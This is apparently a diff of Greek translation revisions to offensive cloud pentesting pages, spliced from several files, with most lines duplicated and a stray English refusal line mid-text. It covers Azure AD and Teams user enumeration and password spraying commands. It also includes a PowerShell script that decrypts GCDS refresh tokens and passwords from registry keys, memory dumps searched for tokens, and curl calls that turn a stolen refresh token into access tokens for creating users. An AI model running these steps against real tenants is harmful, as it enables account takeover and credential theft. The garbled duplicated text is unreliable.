Είναι δυνατόν να παρατηρήσετε λεπτομέρειες σχετικά με το όνομα του ενοικιαστή, το ID και το "brand" όνομα. Επιπλέον, η κατάσταση του Desktop Single Sign-On (SSO), γνωστή και ως [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), εμφανίζεται. Όταν είναι ενεργοποιημένη, αυτή η δυνατότητα διευκολύνει τον προσδιορισμό της παρουσίας (enumeration) ενός συγκεκριμένου χρήστη εντός της στοχευόμενης οργάνωσης.
Είναι δυνατόν να παρατηρηθούν λεπτομέρειες σχετικά με το όνομα του ενοικιαστή, το ID και το "brand" όνομα. Επιπλέον, η κατάσταση του Desktop Single Sign-On (SSO), γνωστή και ως [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), εμφανίζεται. Όταν είναι ενεργοποιημένο, αυτή η δυνατότητα διευκολύνει τον προσδιορισμό της παρουσίας (enumeration) ενός συγκεκριμένου χρήστη εντός της στοχευμένης οργάνωσης.
Επιπλέον, η έξοδος παρουσιάζει τα ονόματα όλων των επαληθευμένων τομέων που σχετίζονται με τον στοχευόμενο ενοικιαστή, μαζί με τους αντίστοιχους τύπους ταυτότητας τους. Στην περίπτωση ομοσπονδιακών τομέων, αποκαλύπτεται επίσης το Fully Qualified Domain Name (FQDN) του παρόχου ταυτότητας που χρησιμοποιείται, συνήθως ενός διακομιστή ADFS. Η στήλη "MX" προσδιορίζει εάν τα emails δρομολογούνται στο Exchange Online, ενώ η στήλη "SPF" δηλώνει την καταχώριση του Exchange Online ως αποστολέα email. Είναι σημαντικό να σημειωθεί ότι η τρέχουσα λειτουργία αναγνώρισης δεν αναλύει τις δηλώσεις "include" εντός των SPF records, γεγονός που μπορεί να οδηγήσει σε ψευδώς αρνητικά αποτελέσματα.
Επιπλέον, η έξοδος παρουσιάζει τα ονόματα όλων των επαληθευμένων τομέων που σχετίζονται με τον στοχευμένο ενοικιαστή, μαζί με τους αντίστοιχους τύπους ταυτότητας τους. Στην περίπτωση των ομοσπονδιακών τομέων, αποκαλύπτεται επίσης το Fully Qualified Domain Name (FQDN) του παρόχου ταυτότητας που χρησιμοποιείται, συνήθως ενός διακομιστή ADFS. Η στήλη "MX" καθορίζει εάν τα emails δρομολογούνται στο Exchange Online, ενώ η στήλη "SPF" δηλώνει την καταχώριση του Exchange Online ως αποστολέα email. Είναι σημαντικό να σημειωθεί ότι η τρέχουσα λειτουργία αναγνώρισης δεν αναλύει τις δηλώσεις "include" εντός των SPF records, γεγονός που μπορεί να έχει ως αποτέλεσμα ψευδώς αρνητικά αποτελέσματα.
### User Enumeration
@@ -44,10 +44,10 @@ int.company.com False False False Managed
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
Η διεύθυνση email είναι η διεύθυνση email του χρήστη όπου το “@” έχει αντικατασταθεί με κάτω παύλα “\_“.
Το email είναι η διεύθυνση email του χρήστη όπου το “@” έχει αντικατασταθεί με κάτω παύλα “\_“.
Με το [**AADInternals**](https://github.com/Gerenios/AADInternals), μπορείτε εύκολα να ελέγξετε αν ο χρήστης υπάρχει ή όχι:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -80,22 +80,22 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
| Αυτοσύνδεση | <p>Αυτή η μέθοδος προσπαθεί να συνδεθεί ως ο χρήστης μέσω του σημείου αυτοσύνδεσης.<br><strong>Οι ερωτήσεις δεν καταγράφονται</strong> στο αρχείο καταγραφής συνδέσεων! Ως εκ τούτου, λειτουργεί καλά και για επιθέσεις password spray και brute-force.</p> |
Αφού ανακαλύψετε τα έγκυρα ονόματα χρηστών, μπορείτε να αποκτήσετε **πληροφορίες σχετικά με έναν χρήστη** με:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
Το σενάριο [**o365creeper**](https://github.com/LMGsec/o365creeper) σας επιτρέπει επίσης να ανακαλύψετε **αν ένα email είναι έγκυρο**.
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
```
**User Enumeration via Microsoft Teams**
**Αναγνώριση Χρηστών μέσω Microsoft Teams**
Μια άλλη καλή πηγή πληροφοριών είναι το Microsoft Teams.
Η API του Microsoft Teams επιτρέπει την αναζήτηση χρηστών. Ιδιαίτερα τα endpoints "user search" **externalsearchv3** και **searchUsers** θα μπορούσαν να χρησιμοποιηθούν για να ζητήσουν γενικές πληροφορίες σχετικά με λογαριασμούς χρηστών που είναι εγγεγραμμένοι στο Teams.
Ανάλογα με την απάντηση της API, είναι δυνατόν να διακριθούν οι μη υπάρχοντες χρήστες από τους υπάρχοντες χρήστες που έχουν έγκυρη συνδρομή στο Teams.
Ανάλογα με την απάντηση της API, είναι δυνατόν να διακριθούν οι ανύπαρκτοι χρήστες από τους υπάρχοντες χρήστες που έχουν έγκυρη συνδρομή στο Teams.
Το σενάριο [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) θα μπορούσε να χρησιμοποιηθεί για να επικυρώσει ένα συγκεκριμένο σύνολο ονομάτων χρηστών έναντι της API του Teams.
```bash
@@ -111,7 +111,7 @@ I'm sorry, but I cannot provide the content you requested.
- Διαθέσιμος
- Απών
- Μη Διαταράσσετε
- Μην ενοχλείτε
- Απασχολημένος
- Εκτός σύνδεσης
@@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested.
]
}
```
## Azure Services
## Υπηρεσίες Azure
Γνωρίζοντας ότι γνωρίζουμε τα **domains που χρησιμοποιεί ο Azure tenant**, είναι ώρα να προσπαθήσουμε να βρούμε **Azure services που είναι εκτεθειμένα**.
Γνωρίζοντας ότι γνωρίζουμε τα **domain του Azure tenant** είναι ώρα να προσπαθήσουμε να βρούμε **εκτεθειμένες υπηρεσίες Azure**.
Μπορείτε να χρησιμοποιήσετε μια μέθοδο από [**MicroBust**](https://github.com/NetSPI/MicroBurst) για αυτόν τον σκοπό. Αυτή η λειτουργία θα αναζητήσει το βασικό όνομα domain (και μερικές παραλλαγές) σε αρκετά **azure service domains:**
```powershell
Μπορείτε να χρησιμοποιήσετε μια μέθοδο από [**MicroBust**](https://github.com/NetSPI/MicroBurst) για αυτόν τον σκοπό. Αυτή η λειτουργία θα αναζητήσει το βασικό όνομα domain (και μερικές παραλλαγές) σε αρκετά **domain υπηρεσιών azure:**
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## Ανοιχτή Αποθήκευση
Μπορείτε να ανακαλύψετε ανοιχτή αποθήκευση με ένα εργαλείο όπως το [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) το οποίο θα χρησιμοποιήσει το αρχείο **`Microburst/Misc/permitations.txt`** για να δημιουργήσει παραλλαγές (πολύ απλές) για να προσπαθήσει να **βρει ανοιχτούς λογαριασμούς αποθήκευσης**.
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
@@ -6,10 +6,10 @@
Στο **Azure**, αυτό μπορεί να γίνει κατά **διαφορετικών API endpoints** όπως το Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, κ.λπ.
Ωστόσο, σημειώστε ότι αυτή η τεχνική είναι **πολύ θορυβώδης** και η Blue Team μπορεί να **την πιάσει εύκολα**. Επιπλέον, η **αναγκαστική πολυπλοκότητα κωδικών πρόσβασης** και η χρήση του **MFA** μπορούν να κάνουν αυτή την τεχνική κάπως άχρηστη.
Ωστόσο, σημειώστε ότι αυτή η τεχνική είναι **πολύ θορυβώδης** και η Blue Team μπορεί να **την πιάσει εύκολα**. Επιπλέον, η **αναγκαστική πολυπλοκότητα κωδικών πρόσβασης** και η χρήση **MFA** μπορούν να κάνουν αυτή την τεχνική κάπως άχρηστη.
Μπορείτε να εκτελέσετε μια επίθεση password spray με [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -17,8 +17,8 @@ Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```bash
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
Ή με [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
Ή με τον [**MailSniper**](https://github.com/dafthack/MailSniper)
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS
@@ -6,35 +6,35 @@
## Basic Methodology
Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που πρέπει να ελέγξει** ένας pentester όταν δοκιμάζει ένα cloud περιβάλλον:
Κάθε cloud έχει τις δικές του ιδιαιτερότητες, αλλά γενικά υπάρχουν μερικά **κοινά πράγματα που πρέπει να ελέγξει** ένας pentester όταν δοκιμάζει ένα περιβάλλον cloud:
- **Έλεγχοι αναφοράς**
- Αυτό θα σας βοηθήσει να **κατανοήσετε το μέγεθος** του περιβάλλοντος και τις **υπηρεσίες που χρησιμοποιούνται**
- Θα σας επιτρέψει επίσης να βρείτε κάποιες **γρήγορες κακοδιαρθρώσεις**, καθώς μπορείτε να εκτελέσετε τις περισσότερες από αυτές τις δοκιμές με **αυτοματοποιημένα εργαλεία**
- **Καταμέτρηση Υπηρεσιών**
- Πιθανώς δεν θα βρείτε πολλές περισσότερες κακοδιαρθρώσεις εδώ αν έχετε εκτελέσει σωστά τις δοκιμές αναφοράς, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στη δοκιμή αναφοράς.
- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο cloud env
- Πιθανότατα δεν θα βρείτε πολλές περισσότερες κακοδιαρθρώσεις εδώ αν έχετε εκτελέσει σωστά τις δοκιμές αναφοράς, αλλά μπορεί να βρείτε κάποιες που δεν αναζητήθηκαν στις δοκιμές αναφοράς.
- Αυτό θα σας επιτρέψει να γνωρίζετε **τι ακριβώς χρησιμοποιείται** στο περιβάλλον cloud
- Αυτό θα βοηθήσει πολύ στα επόμενα βήματα
- **Έλεγχος εκτεθειμένων πόρων**
- Αυτό μπορεί να γίνει κατά τη διάρκεια της προηγούμενης ενότητας, πρέπει να **ανακαλύψετε τα πάντα που είναι δυνητικά εκτεθειμένα** στο Διαδίκτυο με κάποιο τρόπο και πώς μπορεί να προσπελαστεί.
- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως περιπτώσεις με ιστοσελίδες ή άλλες θύρες που είναι εκτεθειμένες, καθώς και για άλλες **υπηρεσίες cloud που διαχειρίζονται** που μπορούν να ρυθμιστούν για να είναι εκτεθειμένες (όπως DBs ή buckets)
- Εδώ αναφέρομαι σε **χειροκίνητα εκτεθειμένη υποδομή** όπως περιπτώσεις με ιστοσελίδες ή άλλες θύρες που είναι εκτεθειμένες, καθώς και σε άλλες **υπηρεσίες cloud που διαχειρίζονται** που μπορούν να ρυθμιστούν για να είναι εκτεθειμένες (όπως DBs ή buckets)
- Στη συνέχεια, θα πρέπει να ελέγξετε **αν αυτός ο πόρος μπορεί να είναι εκτεθειμένος ή όχι** (εμπιστευτικές πληροφορίες; ευπάθειες; κακοδιαρθρώσεις στην εκτεθειμένη υπηρεσία;)
- **Έλεγχος δικαιωμάτων**
- Εδώ θα πρέπει να **ανακαλύψετε όλα τα δικαιώματα κάθε ρόλου/χρήστη** μέσα στο cloud και πώς χρησιμοποιούνται
- Πάρα πολλές **υψηλά προνομιούχες** (έχουν έλεγχο σε όλα) λογαριασμοί; Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε να έχουν γίνει ήδη στις δοκιμές αναφοράς
- Πάρα **πολλοί υψηλά προνομιούχοι** (έχουν έλεγχο σε όλα) λογαριασμοί; Δημιουργημένα κλειδιά που δεν χρησιμοποιούνται;... Οι περισσότερες από αυτές τις ελέγχους θα έπρεπε να έχουν γίνει ήδη στις δοκιμές αναφοράς
- Αν ο πελάτης χρησιμοποιεί OpenID ή SAML ή άλλη **ομοσπονδία**, μπορεί να χρειαστεί να τους ρωτήσετε για περαιτέρω **πληροφορίες** σχετικά με **πώς ανατίθεται κάθε ρόλος** (δεν είναι το ίδιο να ανατίθεται ο ρόλος του διαχειριστή σε 1 χρήστη ή σε 100)
- Δεν είναι **αρκετό να βρείτε** ποιους χρήστες έχουν **δικαιώματα διαχειριστή** "\*:\*". Υπάρχουν πολλά **άλλα δικαιώματα** που ανάλογα με τις υπηρεσίες που χρησιμοποιούνται μπορεί να είναι πολύ **ευαίσθητα**.
- Επιπλέον, υπάρχουν **πιθανές διαδρομές privesc** που μπορείτε να ακολουθήσετε εκμεταλλευόμενοι τα δικαιώματα. Όλα αυτά τα πράγματα θα πρέπει να ληφθούν υπόψη και **όσες περισσότερες διαδρομές privesc είναι δυνατόν** θα πρέπει να αναφερθούν.
- Επιπλέον, υπάρχουν **πιθανές διαδρομές privesc** που μπορούν να ακολουθηθούν εκμεταλλευόμενοι τα δικαιώματα. Όλα αυτά τα πράγματα θα πρέπει να ληφθούν υπόψη και **όσες περισσότερες διαδρομές privesc είναι δυνατόν** θα πρέπει να αναφερθούν.
- **Έλεγχος Ενοποιήσεων**
- Είναι πολύ πιθανό ότι **ενοποιήσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο cloud env.
- Για **ενοποιήσεις του cloud που ελέγχετε** με άλλη πλατφόρμα θα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για (κακή) χρήση αυτής της ενοποίησης** και θα πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\
- Είναι πολύ πιθανό ότι **ενοποιήσεις με άλλα clouds ή SaaS** χρησιμοποιούνται μέσα στο περιβάλλον cloud.
- Για τις **ενοποιήσεις του cloud που ελέγχετε** με άλλη πλατφόρμα, θα πρέπει να ενημερώσετε **ποιος έχει πρόσβαση για (κακή) χρήση αυτής της ενοποίησης** και θα πρέπει να ρωτήσετε **πόσο ευαίσθητη** είναι η ενέργεια που εκτελείται.\
Για παράδειγμα, ποιος μπορεί να γράψει σε ένα AWS bucket από το οποίο το GCP αποκτά δεδομένα (ρωτήστε πόσο ευαίσθητη είναι η ενέργεια στο GCP που επεξεργάζεται αυτά τα δεδομένα).
- Για **ενοποιήσεις μέσα στο cloud που ελέγχετε** από εξωτερικές πλατφόρμες, θα πρέπει να ρωτήσετε **ποιος έχει πρόσβαση εξωτερικά για (κακή) χρήση αυτής της ενοποίησης** και να ελέγξετε πώς χρησιμοποιούνται αυτά τα δεδομένα.\
Για παράδειγμα, αν μια υπηρεσία χρησιμοποιεί μια εικόνα Docker που φιλοξενείται στο GCR, θα πρέπει να ρωτήσετε ποιος έχει πρόσβαση για να την τροποποιήσει και ποιες ευαίσθητες πληροφορίες και πρόσβαση θα αποκτήσει αυτή η εικόνα όταν εκτελείται μέσα σε ένα AWS cloud.
## Multi-Cloud tools
Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά cloud περιβάλλοντα. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα.
Υπάρχουν διάφορα εργαλεία που μπορούν να χρησιμοποιηθούν για να δοκιμάσουν διαφορετικά περιβάλλοντα cloud. Τα βήματα εγκατάστασης και οι σύνδεσμοι θα αναφέρονται σε αυτή την ενότητα.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
@@ -170,7 +170,7 @@ steampipe check all
<summary>Έλεγχος όλων των Έργων</summary>
Για να ελέγξετε όλα τα έργα, πρέπει να δημιουργήσετε το αρχείο `gcp.spc` υποδεικνύοντας όλα τα έργα που πρέπει να δοκιμαστούν. Μπορείτε απλά να ακολουθήσετε τις οδηγίες από το παρακάτω σενάριο.
Για να ελέγξετε όλα τα έργα, πρέπει να δημιουργήσετε το αρχείο `gcp.spc` υποδεικνύοντας όλα τα έργα που πρέπει να δοκιμαστούν. Μπορείτε απλώς να ακολουθήσετε τις οδηγίες από το παρακάτω σενάριο.
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -242,7 +242,7 @@ AWS, GCP, Azure, DigitalOcean.\
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Το Cloudlist είναι ένα **multi-cloud εργαλείο για την απόκτηση Assets** (Ονόματα υπολογιστών, Διευθύνσεις IP) από Παρόχους Cloud.
Το Cloudlist είναι ένα **multi-cloud εργαλείο για την απόκτηση Assets** (Ονόματα κεντρικών υπολογιστών, Διευθύνσεις IP) από Παρόχους Cloud.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
```
{{#endtab }}
{{#tab name="Δεύτερη Καρτέλα" }}
{{#tab name="Second Tab" }}
```bash
## For GCP it requires service account JSON credentials
cloudlist -config </path/to/config>
@@ -263,12 +263,12 @@ cloudlist -config </path/to/config>
{{#endtab }}
{{#endtabs }}
### [**cartography**](https://github.com/lyft/cartography)
### [**χαρτογράφηση**](https://github.com/lyft/cartography)
Το Cartography είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
Η χαρτογράφηση είναι ένα εργαλείο Python που ενοποιεί τα περιουσιακά στοιχεία υποδομής και τις σχέσεις μεταξύ τους σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από μια βάση δεδομένων Neo4j.
{{#tabs }}
{{#tab name="Install" }}
{{#tab name="Εγκατάσταση" }}
```bash
# Installation
docker image pull ghcr.io/lyft/cartography
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Το Starbase συλλέγει περιουσιακά στοιχεία και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένων υποδομών cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j.
Το Starbase συλλέγει πόρους και σχέσεις από υπηρεσίες και συστήματα, συμπεριλαμβανομένης της υποδομής cloud, εφαρμογών SaaS, ελέγχων ασφαλείας και άλλων, σε μια διαισθητική γραφική απεικόνιση που υποστηρίζεται από τη βάση δεδομένων Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Ανακαλύψτε τους πιο προνομιούχους χρήστες στο σαρωμένο περιβάλλον AWS ή Azure, συμπεριλαμβανομένων των AWS Shadow Admins. Χρησιμοποιεί powershell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -412,7 +412,7 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “γράφημα επίθεσης” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιήσουν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας να προσανατολίζονται γρήγορα και να προτεραιοποιούν την εργασία απόκρισης σε περιστατικά.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) δημιουργεί ένα “γράφημα επίθεσης” των πόρων σε μια συνδρομή Azure. Επιτρέπει στις κόκκινες ομάδες και τους pentesters να οπτικοποιήσουν την επιφάνεια επίθεσης και τις ευκαιρίες pivot εντός ενός ενοικιαστή, και ενισχύει τους υπερασπιστές σας να προσανατολίζονται και να προτεραιοποιούν γρήγορα την εργασία απόκρισης σε περιστατικά.
### Office365
@@ -6,7 +6,7 @@
Αυτό είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να **συγχρονίσετε τους χρήστες και τις ομάδες του Active Directory σας με το Workspace σας** (και όχι το αντίστροφο κατά τη στιγμή της συγγραφής αυτού του κειμένου).
Είναι ενδιαφέρον γιατί είναι ένα εργαλείο που θα απαιτήσει τα **διαπιστευτήρια ενός superuser του Workspace και ενός προνομιούχου χρήστη AD**. Έτσι, μπορεί να είναι δυνατό να το βρείτε μέσα σε έναν διακομιστή τομέα που θα συγχρονίζει χρήστες από καιρό σε καιρό.
Είναι ενδιαφέρον γιατί είναι ένα εργαλείο που θα απαιτήσει τα **διαπιστευτήρια ενός superuser του Workspace και ενός προνομιούχου χρήστη του AD**. Έτσι, μπορεί να είναι δυνατό να το βρείτε μέσα σε έναν διακομιστή τομέα που θα συγχρονίζει χρήστες από καιρό σε καιρό.
> [!NOTE]
> Για να εκτελέσετε ένα **MitM** στο **`config-manager.exe`** δυαδικό αρχείο, απλώς προσθέστε την παρακάτω γραμμή στο αρχείο `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
@@ -22,7 +22,7 @@
Το δυαδικό αρχείο `config-manager.exe` (το κύριο δυαδικό αρχείο GCDS με GUI) θα αποθηκεύσει τα διαπιστευτήρια του Active Directory που έχουν ρυθμιστεί, το refresh token και την πρόσβαση από προεπιλογή σε ένα **xml αρχείο** στον φάκελο **`C:\Program Files\Google Cloud Directory Sync`** σε ένα αρχείο που ονομάζεται **`Untitled-1.xml`** από προεπιλογή. Αν και θα μπορούσε επίσης να αποθηκευτεί στα `Documents` του χρήστη ή σε **οποιονδήποτε άλλο φάκελο**.
Επιπλέον, το μητρώο **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** μέσα στο κλειδί **`open.recent`** περιέχει τις διαδρομές προς όλα τα πρόσφατα ανοιγμένα αρχεία διαμόρφωσης (xml). Έτσι, είναι δυνατό να **το ελέγξετε για να τα βρείτε**.
Επιπλέον, το μητρώο **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** μέσα στην κλειδαριά **`open.recent`** περιέχει τις διαδρομές προς όλα τα πρόσφατα ανοιγμένα αρχεία διαμόρφωσης (xmls). Έτσι, είναι δυνατό να **το ελέγξετε για να τα βρείτε**.
Οι πιο ενδιαφέρουσες πληροφορίες μέσα στο αρχείο θα είναι:
```xml
@@ -49,12 +49,12 @@
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
Σημειώστε πώς το **refresh** **token** και ο **κωδικός πρόσβασης** του χρήστη είναι **κρυπτογραφημένα** χρησιμοποιώντας **AES CBC** με ένα τυχαία παραγόμενο κλειδί και IV που αποθηκεύονται στο **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (όπου η βιβλιοθήκη **`prefs`** Java αποθηκεύει τις προτιμήσεις) στα κλειδιά συμβολοσειράς **`/Encryption/Policy/V2.iv`** και **`/Encryption/Policy/V2.key`** που αποθηκεύονται σε base64.
Σημειώστε πώς το **refresh** **token** και ο **κωδικός πρόσβασης** του χρήστη είναι **κρυπτογραφημένα** χρησιμοποιώντας **AES CBC** με ένα τυχαία παραγόμενο κλειδί και IV που αποθηκεύονται στο **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (όπου η βιβλιοθήκη **`prefs`** της Java αποθηκεύει τις προτιμήσεις) στα κλειδιά συμβολοσειράς **`/Encryption/Policy/V2.iv`** και **`/Encryption/Policy/V2.key`** που αποθηκεύονται σε base64.
<details>
<summary>Powershell script για την αποκρυπτογράφηση του refresh token και του κωδικού πρόσβασης</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Σημειώστε ότι είναι δυνατόν να ελέγξετε αυτές τις πληροφορίες ελέγχοντας τον κώδικα java του **`DirSync.jar`** από **`C:\Program Files\Google Cloud Directory Sync`** αναζητώντας τη συμβολοσειρά `exportkeys` (καθώς αυτό είναι το cli param που περιμένει το δυαδικό `upgrade-config.exe` για να εξάγει τα κλειδιά).
> Σημειώστε ότι είναι δυνατόν να ελέγξετε αυτές τις πληροφορίες ελέγχοντας τον κώδικα java του **`DirSync.jar`** από **`C:\Program Files\Google Cloud Directory Sync`** αναζητώντας τη συμβολοσειρά `exportkeys` (καθώς αυτό είναι το cli param που αναμένει το δυαδικό αρχείο `upgrade-config.exe` για να εξάγει τα κλειδιά).
Αντί να χρησιμοποιήσετε το script powershell, είναι επίσης δυνατό να χρησιμοποιήσετε το δυαδικό **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** με το param `-exportKeys` και να αποκτήσετε το **Key** και **IV** από το μητρώο σε hex και στη συνέχεια να χρησιμοποιήσετε κάποιο cyberchef με AES/CBC και αυτό το κλειδί και IV για να αποκρυπτογραφήσετε τις πληροφορίες.
Αντί να χρησιμοποιήσετε το script powershell, είναι επίσης δυνατό να χρησιμοποιήσετε το δυαδικό αρχείο **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** με το param `-exportKeys` και να αποκτήσετε το **Key** και **IV** από το μητρώο σε hex και στη συνέχεια να χρησιμοποιήσετε κάποιο cyberchef με AES/CBC και αυτό το κλειδί και IV για να αποκρυπτογραφήσετε τις πληροφορίες.
### GCDS - Εξαγωγή tokens από τη μνήμη
Ακριβώς όπως με το GCPW, είναι δυνατό να εξάγετε τη μνήμη της διαδικασίας του `config-manager.exe` (είναι το όνομα του κύριου δυαδικού GCDS με GUI) και θα είστε σε θέση να βρείτε tokens ανανέωσης και πρόσβασης (αν έχουν ήδη παραχθεί).\
Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τις ρυθμισμένες διαπιστευτήρια AD.
Ακριβώς όπως με το GCPW, είναι δυνατόν να εξάγετε τη μνήμη της διαδικασίας του `config-manager.exe` (είναι το όνομα του κύριου δυαδικού αρχείου GCDS με GUI) και θα μπορείτε να βρείτε tokens ανανέωσης και πρόσβασης (αν έχουν ήδη παραχθεί).\
Υποθέτω ότι θα μπορούσατε επίσης να βρείτε τις διαπιστεύσεις που έχουν ρυθμιστεί στο AD.
<details>
<summary>Εξαγωγή διαδικασιών config-manager.exe και αναζήτηση tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
### GCDS - Δημιουργία διαπιστευτηρίων πρόσβασης από διαπιστευτήρια ανανέωσης
### GCDS - Δημιουργία διαπιστευτηρίων πρόσβασης από ανανεωτικά διαπιστευτήρια
Χρησιμοποιώντας το διαπιστευτήριο ανανέωσης, είναι δυνατόν να δημιουργηθούν διαπιστευτήρια πρόσβασης χρησιμοποιώντας το και το client ID και client secret που καθορίζονται στην παρακάτω εντολή:
Χρησιμοποιώντας το ανανεωτικό διαπιστευτήριο, είναι δυνατή η δημιουργία διαπιστευτηρίων πρόσβασης χρησιμοποιώντας το και το αναγνωριστικό πελάτη και το μυστικό πελάτη που καθορίζονται στην παρακάτω εντολή:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Δεν είναι δυνατόν να δοθεί στον νέο χρήστη ο ρόλος του Super Amin επειδή το **refresh token δεν έχει αρκετά scopes** για να δώσει τα απαιτούμενα προνόμια.
> Δεν είναι δυνατόν να δοθεί στον νέο χρήστη ο ρόλος του Super Admin επειδή το **refresh token δεν έχει αρκετά scopes** για να δώσει τα απαιτούμενα προνόμια.
{{#include ../../../banners/hacktricks-training.md}}
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Νέες γραμμές έχουν προστεθεί για να γίνει πιο αναγνώσιμο.
> [!NOTE]
> Ήταν δυνατό να εκτελεστεί μια MitM εγκαθιστώντας το `Proxifier` στον υπολογιστή, αντικαθιστώντας το δυαδικό αρχείο `utilman.exe` με ένα `cmd.exe` και εκτελώντας τις **λειτουργίες προσβασιμότητας** στη σελίδα σύνδεσης των Windows, οι οποίες θα εκτελέσουν ένα **CMD** από το οποίο μπορείτε να **εκκινήσετε και να ρυθμίσετε το Proxifier**.\
> Μην ξεχάσετε να **μπλοκάρετε την κυκλοφορία QUICK UDP** στο `Proxifier` ώστε να υποβαθμιστεί σε επικοινωνία TCP και να μπορείτε να το δείτε.
